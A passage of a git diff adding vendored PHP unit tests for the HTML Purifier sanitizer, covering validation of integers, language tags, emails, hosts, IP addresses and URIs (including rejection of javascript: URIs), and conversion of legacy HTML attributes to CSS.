+ $this->assertDef('', false);
+
+ // round down
+ $this->assertDef('4.9', '4');
+
+ }
+
+ public function test_make()
+ {
+ $factory = new HTMLPurifier_AttrDef_HTML_Pixels();
+ $this->def = $factory->make('30');
+ $this->assertDef('25');
+ $this->assertDef('35', '30');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php
new file mode 100644
index 000000000..2061a3660
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php
@@ -0,0 +1,62 @@
+<?php
+
+class HTMLPurifier_AttrDef_IntegerTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Integer();
+
+ $this->assertDef('0');
+ $this->assertDef('1');
+ $this->assertDef('-1');
+ $this->assertDef('-10');
+ $this->assertDef('14');
+ $this->assertDef('+24', '24');
+ $this->assertDef(' 14 ', '14');
+ $this->assertDef('-0', '0');
+
+ $this->assertDef('-1.4', false);
+ $this->assertDef('3.4', false);
+ $this->assertDef('asdf', false); // must not return zero
+ $this->assertDef('2in', false); // must not return zero
+
+ }
+
+ public function assertRange($negative, $zero, $positive)
+ {
+ $this->assertDef('-100', $negative);
+ $this->assertDef('-1', $negative);
+ $this->assertDef('0', $zero);
+ $this->assertDef('1', $positive);
+ $this->assertDef('42', $positive);
+ }
+
+ public function testRange()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Integer(false);
+ $this->assertRange(false, true, true); // non-negative
+
+ $this->def = new HTMLPurifier_AttrDef_Integer(false, false);
+ $this->assertRange(false, false, true); // positive
+
+
+ // fringe cases
+
+ $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false);
+ $this->assertRange(false, false, false); // allow none
+
+ $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false);
+ $this->assertRange(true, false, false); // negative
+
+ $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false);
+ $this->assertRange(false, true, false); // zero
+
+ $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false);
+ $this->assertRange(true, true, false); // non-positive
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php
new file mode 100644
index 000000000..06b9e6b87
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php
@@ -0,0 +1,85 @@
+<?php
+
+class HTMLPurifier_AttrDef_LangTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Lang();
+
+ // basic good uses
+ $this->assertDef('en');
+ $this->assertDef('en-us');
+
+ $this->assertDef(' en ', 'en'); // trim
+ $this->assertDef('EN', 'en'); // case insensitivity
+
+ // (thanks Eugen Pankratz for noticing the typos!)
+ $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci
+
+ $this->assertDef('fr en', false); // multiple languages
+ $this->assertDef('%', false); // bad character
+
+ // test overlong language according to syntax
+ $this->assertDef('thisistoolongsoitgetscut', false);
+
+ // primary subtag rules
+ // I'm somewhat hesitant to allow x and i as primary language codes,
+ // because they usually are never used in real life. However,
+ // theoretically speaking, having them alone is permissable, so
+ // I'll be lenient. No XML parser is going to complain anyway.
+ $this->assertDef('x');
+ $this->assertDef('i');
+ // real world use-cases
+ $this->assertDef('x-klingon');
+ $this->assertDef('i-mingo');
+ // because the RFC only defines two and three letter primary codes,
+ // anything with a length of four or greater is invalid, despite
+ // the syntax stipulation of 1 to 8 characters. Because the RFC
+ // specifically states that this reservation is in order to allow
+ // for future versions to expand, the adoption of a new RFC will
+ // require these test cases to be rewritten, even if backwards-
+ // compatibility is largely retained (i.e. this is not forwards
+ // compatible)
+ $this->assertDef('four', false);
+ // for similar reasons, disallow any other one character language
+ $this->assertDef('f', false);
+
+ // second subtag rules
+ // one letter subtags prohibited until revision. This is, however,
+ // less volatile than the restrictions on the primary subtags.
+ // Also note that this test-case tests fix-behavior: chop
+ // off subtags until you get a valid language code.
+ $this->assertDef('en-a', 'en');
+ // however, x is a reserved single-letter subtag that is allowed
+ $this->assertDef('en-x', 'en-x');
+ // 2-8 chars are permitted, but have special meaning that cannot
+ // be checked without maintaining country code lookup tables (for
+ // two characters) or special registration tables (for all above).
+ $this->assertDef('en-uk', true);
+
+ // further subtag rules: only syntactic constraints
+ $this->assertDef('en-us-edison');
+ $this->assertDef('en-us-toolonghaha', 'en-us');
+ $this->assertDef('en-us-a-silly-long-one');
+
+ // rfc 3066 stipulates that if a three letter and a two letter code
+ // are available, the two letter one MUST be used. Without a language
+ // code lookup table, we cannot implement this functionality.
+
+ // although the HTML protocol, technically speaking, allows you to
+ // omit language tags, this implicitly means that the parent element's
+ // language is the one applicable, which, in some cases, is incorrect.
+ // Thus, we allow und, only slightly defying the RFC's SHOULD NOT
+ // designation.
+ $this->assertDef('und');
+
+ // because attributes only allow one language, mul is allowed, complying
+ // with the RFC's SHOULD NOT designation.
+ $this->assertDef('mul');
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php
new file mode 100644
index 000000000..4faed99c6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php
@@ -0,0 +1,37 @@
+<?php
+
+class HTMLPurifier_AttrDef_SwitchTest extends HTMLPurifier_AttrDefHarness
+{
+
+ protected $with, $without;
+
+ public function setUp()
+ {
+ parent::setUp();
+ generate_mock_once('HTMLPurifier_AttrDef');
+ $this->with = new HTMLPurifier_AttrDefMock();
+ $this->without = new HTMLPurifier_AttrDefMock();
+ $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without);
+ }
+
+ public function testWith()
+ {
+ $token = new HTMLPurifier_Token_Start('tag');
+ $this->context->register('CurrentToken', $token);
+ $this->with->expectOnce('validate');
+ $this->with->setReturnValue('validate', 'foo');
+ $this->assertDef('bar', 'foo');
+ }
+
+ public function testWithout()
+ {
+ $token = new HTMLPurifier_Token_Start('other-tag');
+ $this->context->register('CurrentToken', $token);
+ $this->without->expectOnce('validate');
+ $this->without->setReturnValue('validate', 'foo');
+ $this->assertDef('bar', 'foo');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php
new file mode 100644
index 000000000..de1ae554d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php
@@ -0,0 +1,17 @@
+<?php
+
+class HTMLPurifier_AttrDef_TextTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Text();
+
+ $this->assertDef('This is spiffy text!');
+ $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.');
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php
new file mode 100644
index 000000000..919b7691a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php
@@ -0,0 +1,14 @@
+<?php
+
+class HTMLPurifier_AttrDef_URI_Email_SimpleCheckTest
+ extends HTMLPurifier_AttrDef_URI_EmailHarness
+{
+
+ public function setUp()
+ {
+ $this->def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck();
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php
new file mode 100644
index 000000000..35c3f207f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php
@@ -0,0 +1,32 @@
+<?php
+
+class HTMLPurifier_AttrDef_URI_EmailHarness extends HTMLPurifier_AttrDefHarness
+{
+
+ /**
+ * Tests common email strings that are obviously pass/fail
+ */
+ public function testCore()
+ {
+ $this->assertDef('bob@example.com');
+ $this->assertDef(' bob@example.com ', 'bob@example.com');
+ $this->assertDef('bob.thebuilder@example.net');
+ $this->assertDef('Bob_the_Builder-the-2nd@example.org');
+ $this->assertDef('Bob%20the%20Builder@white-space.test');
+
+ // extended format, with real name
+ //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E');
+ //$this->assertDef('Bob Builder <bobby.bob.bob@it.is.example.com>');
+
+ // time to fail
+ $this->assertDef('bob', false);
+ $this->assertDef('bob@home@work', false);
+ $this->assertDef('@example.com', false);
+ $this->assertDef('bob@', false);
+ $this->assertDef('', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php
new file mode 100644
index 000000000..00e56ed4c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php
@@ -0,0 +1,61 @@
+<?php
+
+// takes a URI formatted host and validates it
+
+
+class HTMLPurifier_AttrDef_URI_HostTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_URI_Host();
+
+ $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6
+ $this->assertDef('124.15.6.89'); // IPv4
+ $this->assertDef('www.google.com'); // reg-name
+
+ // more domain name tests
+ $this->assertDef('test.');
+ $this->assertDef('sub.test.');
+ $this->assertDef('.test', false);
+ $this->assertDef('ff');
+ $this->assertDef('1f', false);
+ $this->assertDef('-f', false);
+ $this->assertDef('f1');
+ $this->assertDef('f-', false);
+ $this->assertDef('sub.ff');
+ $this->assertDef('sub.1f', false);
+ $this->assertDef('sub.-f', false);
+ $this->assertDef('sub.f1');
+ $this->assertDef('sub.f-', false);
+ $this->assertDef('ff.top');
+ $this->assertDef('1f.top');
+ $this->assertDef('-f.top', false);
+ $this->assertDef('ff.top');
+ $this->assertDef('f1.top');
+ $this->assertDef('f1_f2.ex.top', false);
+ $this->assertDef('f-.top', false);
+
+ $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", false);
+
+ }
+
+ public function testIDNA()
+ {
+ if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2']) {
+ return false;
+ }
+ $this->config->set('Core.EnableIDNA', true);
+ $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn");
+ $this->assertDef("\xe2\x80\x85.com", false); // rejected
+ }
+
+ function testAllowUnderscore() {
+ $this->config->set('Core.AllowHostnameUnderscore', true);
+ $this->assertDef("foo_bar.example.com");
+ $this->assertDef("foo_.example.com", false);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php
new file mode 100644
index 000000000..4cb5128ba
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php
@@ -0,0 +1,25 @@
+<?php
+
+// IPv4 test case is spliced from Feyd's IPv6 implementation
+// we ought to disallow non-routable addresses
+
+class HTMLPurifier_AttrDef_URI_IPv4Test extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_URI_IPv4();
+
+ $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable
+ $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable
+ $this->assertDef('255.255.255.255'); // standard IPv4
+
+ $this->assertDef('300.0.0.0', false); // standard IPv4, out of range
+ $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed
+
+ $this->assertDef('', false); // nothing
+
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php
new file mode 100644
index 000000000..f46785c1a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php
@@ -0,0 +1,43 @@
+<?php
+
+// test case is from Feyd's IPv6 implementation
+// we ought to disallow non-routable addresses
+
+class HTMLPurifier_AttrDef_URI_IPv6Test extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_URI_IPv6();
+
+ $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full
+ $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full
+ $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full
+ $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full
+ $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed
+ $this->assertDef('FF01::101'); // multicast, compressed
+
+ $this->assertDef('::1'); // loopback, compressed, non-routable
+ $this->assertDef('::'); // unspecified, compressed, non-routable
+ $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated
+ $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full
+ $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated
+ $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed
+ $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix
+ $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix
+ $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2
+ $this->assertDef('::/128'); // compressed, unspecified address type, non-routable
+ $this->assertDef('::1/128'); // compressed, loopback address type, non-routable
+ $this->assertDef('FF00::/8'); // compressed, multicast address type
+ $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable
+ $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated
+
+ $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full
+ $this->assertDef('FF01::101::2', false); //multicast, compressed
+ $this->assertDef('', false); // nothing
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php
new file mode 100644
index 000000000..a5ae9c56b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php
@@ -0,0 +1,161 @@
+<?php
+
+/**
+ * @todo Aim for complete code coverage with mocks
+ */
+class HTMLPurifier_AttrDef_URITest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function setUp()
+ {
+ $this->def = new HTMLPurifier_AttrDef_URI();
+ parent::setUp();
+ }
+
+ public function testIntegration()
+ {
+ $this->assertDef('http://www.google.com/');
+ $this->assertDef('http:', '');
+ $this->assertDef('http:/foo', '/foo');
+ $this->assertDef('javascript:bad_stuff();', false);
+ $this->assertDef('ftp://www.example.com/');
+ $this->assertDef('news:rec.alt');
+ $this->assertDef('nntp://news.example.com/324234');
+ $this->assertDef('mailto:bob@example.com');
+ }
+
+ public function testIntegrationWithPercentEncoder()
+ {
+ $this->assertDef(
+ 'http://www.example.com/%56%fc%GJ%5%FC',
+ 'http://www.example.com/V%FC%25GJ%255%FC'
+ );
+ }
+
+ public function testPercentEncoding()
+ {
+ $this->assertDef(
+ 'http:colon:mercenary',
+ 'colon%3Amercenary'
+ );
+ }
+
+ public function testPercentEncodingPreserve()
+ {
+ $this->assertDef(
+ 'http://www.example.com/abcABC123-_.!~*()\''
+ );
+ }
+
+ public function testEmbeds()
+ {
+ $this->def = new HTMLPurifier_AttrDef_URI(true);
+ $this->assertDef('http://sub.example.com/alas?foo=asd');
+ $this->assertDef('mailto:foo@example.com', false);
+ }
+
+ public function testConfigMunge()
+ {
+ $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s');
+ $this->assertDef(
+ 'http://www.example.com/',
+ 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F'
+ );
+ $this->assertDef('index.html');
+ $this->assertDef('javascript:foobar();', false);
+ }
+
+ public function testDefaultSchemeRemovedInBlank()
+ {
+ $this->assertDef('http:', '');
+ }
+
+ public function testDefaultSchemeRemovedInRelativeURI()
+ {
+ $this->assertDef('http:/foo/bar', '/foo/bar');
+ }
+
+ public function testDefaultSchemeNotRemovedInAbsoluteURI()
+ {
+ $this->assertDef('http://example.com/foo/bar');
+ }
+
+ public function testAltSchemeNotRemoved()
+ {
+ $this->assertDef('mailto:this-looks-like-a-path@example.com');
+ }
+
+ public function testResolveNullSchemeAmbiguity()
+ {
+ $this->assertDef('///foo', '/foo');
+ }
+
+ public function testResolveNullSchemeDoubleAmbiguity()
+ {
+ $this->config->set('URI.Host', 'example.com');
+ $this->assertDef('////foo', '//example.com//foo');
+ }
+
+ public function testURIDefinitionValidation()
+ {
+ $parser = new HTMLPurifier_URIParser();
+ $uri = $parser->parse('http://example.com');
+ $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation');
+
+ generate_mock_once('HTMLPurifier_URIDefinition');
+ $uri_def = new HTMLPurifier_URIDefinitionMock();
+ $uri_def->expectOnce('filter', array($uri, '*', '*'));
+ $uri_def->setReturnValue('filter', true, array($uri, '*', '*'));
+ $uri_def->expectOnce('postFilter', array($uri, '*', '*'));
+ $uri_def->setReturnValue('postFilter', true, array($uri, '*', '*'));
+ $uri_def->setup = true;
+
+ // Since definitions are no longer passed by reference, we need
+ // to muck around with the cache to insert our mock. This is
+ // technically a little bad, since the cache shouldn't change
+ // behavior, but I don't feel too good about letting users
+ // overload entire definitions.
+ generate_mock_once('HTMLPurifier_DefinitionCache');
+ $cache_mock = new HTMLPurifier_DefinitionCacheMock();
+ $cache_mock->setReturnValue('get', $uri_def);
+
+ generate_mock_once('HTMLPurifier_DefinitionCacheFactory');
+ $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock();
+ $old = HTMLPurifier_DefinitionCacheFactory::instance();
+ HTMLPurifier_DefinitionCacheFactory::instance($factory_mock);
+ $factory_mock->setReturnValue('create', $cache_mock);
+
+ $this->assertDef('http://example.com');
+
+ HTMLPurifier_DefinitionCacheFactory::instance($old);
+ }
+
+ public function test_make()
+ {
+ $factory = new HTMLPurifier_AttrDef_URI();
+ $def = $factory->make('');
+ $def2 = new HTMLPurifier_AttrDef_URI();
+ $this->assertIdentical($def, $def2);
+
+ $def = $factory->make('embedded');
+ $def2 = new HTMLPurifier_AttrDef_URI(true);
+ $this->assertIdentical($def, $def2);
+ }
+
+ /*
+ public function test_validate_configWhitelist()
+ {
+ $this->config->set('URI.HostPolicy', 'DenyAll');
+ $this->config->set('URI.HostWhitelist', array(null, 'google.com'));
+
+ $this->assertDef('http://example.com/fo/google.com', false);
+ $this->assertDef('server.txt');
+ $this->assertDef('ftp://www.google.com/?t=a');
+ $this->assertDef('http://google.com.tricky.spamsite.net', false);
+
+ }
+ */
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php
new file mode 100644
index 000000000..e2029c048
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php
@@ -0,0 +1,29 @@
+<?php
+
+class HTMLPurifier_AttrDefHarness extends HTMLPurifier_Harness
+{
+
+ protected $def;
+ protected $context, $config;
+
+ public function setUp()
+ {
+ $this->config = HTMLPurifier_Config::createDefault();
+ $this->context = new HTMLPurifier_Context();
+ }
+
+ // cannot be used for accumulator
+ public function assertDef($string, $expect = true)
+ {
+ // $expect can be a string or bool
+ $result = $this->def->validate($string, $this->config, $this->context);
+ if ($expect === true) {
+ $this->assertIdentical($string, $result);
+ } else {
+ $this->assertIdentical($expect, $result);
+ }
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php
new file mode 100644
index 000000000..ed4f2492a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php
@@ -0,0 +1,32 @@
+<?php
+
+Mock::generatePartial(
+ 'HTMLPurifier_AttrDef',
+ 'HTMLPurifier_AttrDefTestable',
+ array('validate'));
+
+class HTMLPurifier_AttrDefTest extends HTMLPurifier_Harness
+{
+
+ public function test_parseCDATA()
+ {
+ $def = new HTMLPurifier_AttrDefTestable();
+
+ $this->assertIdentical('', $def->parseCDATA(''));
+ $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t"));
+ $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t"));
+ $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace"));
+
+ }
+
+ public function test_make()
+ {
+ $def = new HTMLPurifier_AttrDefTestable();
+ $def2 = $def->make('');
+ $this->assertIdentical($def, $def2);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php
new file mode 100644
index 000000000..bc397fcd0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php
@@ -0,0 +1,45 @@
+<?php
+
+class HTMLPurifier_AttrTransform_BackgroundTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_Background();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testBasicTransform()
+ {
+ $this->assertResult(
+ array('background' => 'logo.png'),
+ array('style' => 'background-image:url(logo.png);')
+ );
+ }
+
+ public function testPrependNewCSS()
+ {
+ $this->assertResult(
+ array('background' => 'logo.png', 'style' => 'font-weight:bold'),
+ array('style' => 'background-image:url(logo.png);font-weight:bold')
+ );
+ }
+
+ public function testLenientTreatmentOfInvalidInput()
+ {
+ // notice that we rely on the CSS validator later to fix this invalid
+ // stuff
+ $this->assertResult(
+ array('background' => 'logo.png);foo:('),
+ array('style' => 'background-image:url(logo.png);foo:();')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php
new file mode 100644
index 000000000..f3fdd2f1e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php
@@ -0,0 +1,34 @@
+<?php
+
+class HTMLPurifier_AttrTransform_BdoDirTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_BdoDir();
+ }
+
+ public function testAddDefaultDir()
+ {
+ $this->assertResult( array(), array('dir' => 'ltr') );
+ }
+
+ public function testPreserveExistingDir()
+ {
+ $this->assertResult( array('dir' => 'rtl') );
+ }
+
+ public function testAlternateDefault()
+ {
+ $this->config->set('Attr.DefaultTextDir', 'rtl');
+ $this->assertResult(
+ array(),
+ array('dir' => 'rtl')
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php
new file mode 100644
index 000000000..6c2b358a2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php
@@ -0,0 +1,49 @@
+<?php
+
+// we currently rely on the CSS validator to fix any problems.
+// This means that this transform, strictly speaking, supports
+// a superset of the functionality.
+
+class HTMLPurifier_AttrTransform_BgColorTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_BgColor();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testBasicTransform()
+ {
+ $this->assertResult(
+ array('bgcolor' => '#000000'),
+ array('style' => 'background-color:#000000;')
+ );
+ }
+
+ public function testPrependNewCSS()
+ {
+ $this->assertResult(
+ array('bgcolor' => '#000000', 'style' => 'font-weight:bold'),
+ array('style' => 'background-color:#000000;font-weight:bold')
+ );
+ }
+
+ public function testLenientTreatmentOfInvalidInput()
+ {
+ // this may change when we natively support the datatype and
+ // validate its contents before forwarding it on
+ $this->assertResult(
+ array('bgcolor' => '#F00'),
+ array('style' => 'background-color:#F00;')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php
new file mode 100644
index 000000000..a9830bbe2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php
@@ -0,0 +1,43 @@
+<?php
+
+class HTMLPurifier_AttrTransform_BoolToCSSTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;');
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testBasicTransform()
+ {
+ $this->assertResult(
+ array('foo' => 'foo'),
+ array('style' => 'bar:3in;')
+ );
+ }
+
+ public function testIgnoreValueOfBooleanAttribute()
+ {
+ $this->assertResult(
+ array('foo' => 'no'),
+ array('style' => 'bar:3in;')
+ );
+ }
+
+ public function testPrependCSS()
+ {
+ $this->assertResult(
+ array('foo' => 'foo', 'style' => 'background-color:#F00;'),
+ array('style' => 'bar:3in;background-color:#F00;')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php
new file mode 100644
index 000000000..d59674d58
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php
@@ -0,0 +1,43 @@
+<?php
+
+class HTMLPurifier_AttrTransform_BorderTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_Border();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testBasicTransform()
+ {
+ $this->assertResult(
+ array('border' => '1'),
+ array('style' => 'border:1px solid;')
+ );
+ }
+
+ public function testLenientTreatmentOfInvalidInput()
+ {
+ $this->assertResult(
+ array('border' => '10%'),
+ array('style' => 'border:10%px solid;')
+ );
+ }
+
+ public function testPrependNewCSS()
+ {
+ $this->assertResult(
+ array('border' => '23', 'style' => 'font-weight:bold;'),
+ array('style' => 'border:23px solid;font-weight:bold;')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php
new file mode 100644
index 000000000..e895e129e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php
@@ -0,0 +1,82 @@
+<?php
+
+class HTMLPurifier_AttrTransform_EnumToCSSTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array(
+ 'left' => 'text-align:left;',
+ 'right' => 'text-align:right;'
+ ));
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testPreserveArraysWithoutInterestingAttributes()
+ {
+ $this->assertResult( array('style' => 'font-weight:bold;') );
+ }
+
+ public function testConvertAlignLeft()
+ {
+ $this->assertResult(
+ array('align' => 'left'),
+ array('style' => 'text-align:left;')
+ );
+ }
+
+ public function testConvertAlignRight()
+ {
+ $this->assertResult(
+ array('align' => 'right'),
+ array('style' => 'text-align:right;')
+ );
+ }
+
+ public function testRemoveInvalidAlign()
+ {
+ $this->assertResult(
+ array('align' => 'invalid'),
+ array()
+ );
+ }
+
